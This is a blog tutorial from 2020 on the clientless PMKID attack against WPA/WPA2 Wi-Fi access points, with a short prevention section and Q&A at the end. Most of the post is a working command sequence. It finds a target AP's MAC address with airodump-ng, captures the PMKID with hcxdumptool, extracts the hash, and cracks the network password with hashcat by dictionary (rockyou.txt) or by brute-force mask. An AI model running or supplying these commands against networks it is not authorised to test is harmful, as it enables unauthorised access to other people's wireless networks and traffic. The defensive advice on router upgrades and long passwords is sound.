Home | Projects | Articles | Apophthegm | About |
PMKID Attack on Wifi5 Access Point
The author of Hashcat (aka atom) finds a way to obtain the WPA/WP2-PSK (Pre-shared key) password from Wifi5 Access Points (APs) (with roaming feature) without client involved. That is 4-way handshake is no longer required - clientless.
However, this method does not work on TP-Link Deco X20 Mesh Wifi Router (Wifi6 with WPA3). All known attack methods (except Fake Access Point attack) have been tried on the Deco X20 but failed including PMKID attack and KR00K attack (CVE-2019-15126). KR00K attack fails as Deco X20 is using Qualcomm IPQ8070 chipset instead of Broadcom’s. KRACK was not tested as Support of TP-Link Deco Apps mentioned that Deco X20 is not vulnerable to this attack. I think PMKID attack cannot be working on Wifi6 with WPA3 for other brand names too.
Hardware
- TP-Link Archer T4UHP AC1300 USB Adapter
- All tested clients are in AC mode with WPA2
- TP-Link Deco X20 is set to WPA2 only
The attack will be carry out on Kali Linux 2020.1a and you are required to install the following packages.
sudo apt install hcxtools hcxdumptool net-tools realtek-rtl88xxau-dkms
In order to get the mac address of the target Access Point (AP), you need to run the following commands. The following commands can detect channel from 1 to 200.
sudo airmon-ng check kill
sudo ip link set wlan0 down
sudo iw dev wlan0 set type monitor
sudo airodump-ng wlan0 --channel 1-200
The target AP should be Wifi5 with WPA/WPA2. Once you get the mac address of the target AP, you need to remove all the :
from the address. For example, from 00:0a:95:9d:68:16
to 000a959d6816
and save to a file namely ap.txt
.
To make sure the target AP is in the range of the attack. CTRL-c to quit.
sudo hcxdumptool -o ap.pcapng -i wlan0 --filterlist=ap.txt --filtermode=2 --do_rcascan -c 36
When every thing is ready, we can scan the PMKID now.
sudo hcxdumptool -o ap.pcapng -i wlan0 --filterlist=ap.txt --filtermode=2 --enable_status=3 -c 36
When you see [FOUND PMKID]
or/and [FOUND PMKID CLIENT-LESS]
, you can quit it with CTRL-c.
To obtain the PMKID from ap.pcapng.
sudo hcxpcaptool -z hashtocrack ap.pcapng
To crack the hashtocrack
with hashcat by using dictionary.
sudo hashcat -m 16800 hashtocrack /usr/share/wordlist/rockyou.txt
or by using brute forcing.
sudo hashcat -m 16800 hashtocrack -a 3 -w 3 '?l?l?l?l?l?l?l?l'
When it is cracked, you can show the result by using the following command.
sudo hashcat -m 16800 hashtocrack /usr/share/wordlist/rockyou.txt --show
- You can use
--force
to override the issue of hashcat when necessary.
Prevention
- Purchase a modern wifi router (or when your router is vulnerable to KR00K attack), such as Wifi6 router with WPA3; or
- WPA/WPA2 password should be secured enough (when your router is not vulnerable to KR00K attack)
Q&A
-
Which wifi router is vulnerable to KR00K attack?
All the Wifi5 (IEEE 802.11ac) routers with Broadcom chipset are vulnerable to KR00K attack. -
What do you mean secured password?
It should be a very long (longer than 16 characters) and mixed cases (uppercase and lowercase) as well as including printable symbols. Meanwhile, the password should not be predictable and it should not be found in any dictionary. It should be better that the password is meaningless. -
What do you mean dictionary?
It includes general dictionaries, such as Oxford Dictionary and hackers’ dictionaries (password lists), such asrockyou.txt
. -
Do you recommend to set insecured WPA3 password on Wifi6 router?
Not recommended.
See Also
Samiux
OSCE OSCP OSWP
March 22, 2020, Hong Kong, China
Home | Projects | Articles | Apophthegm | About |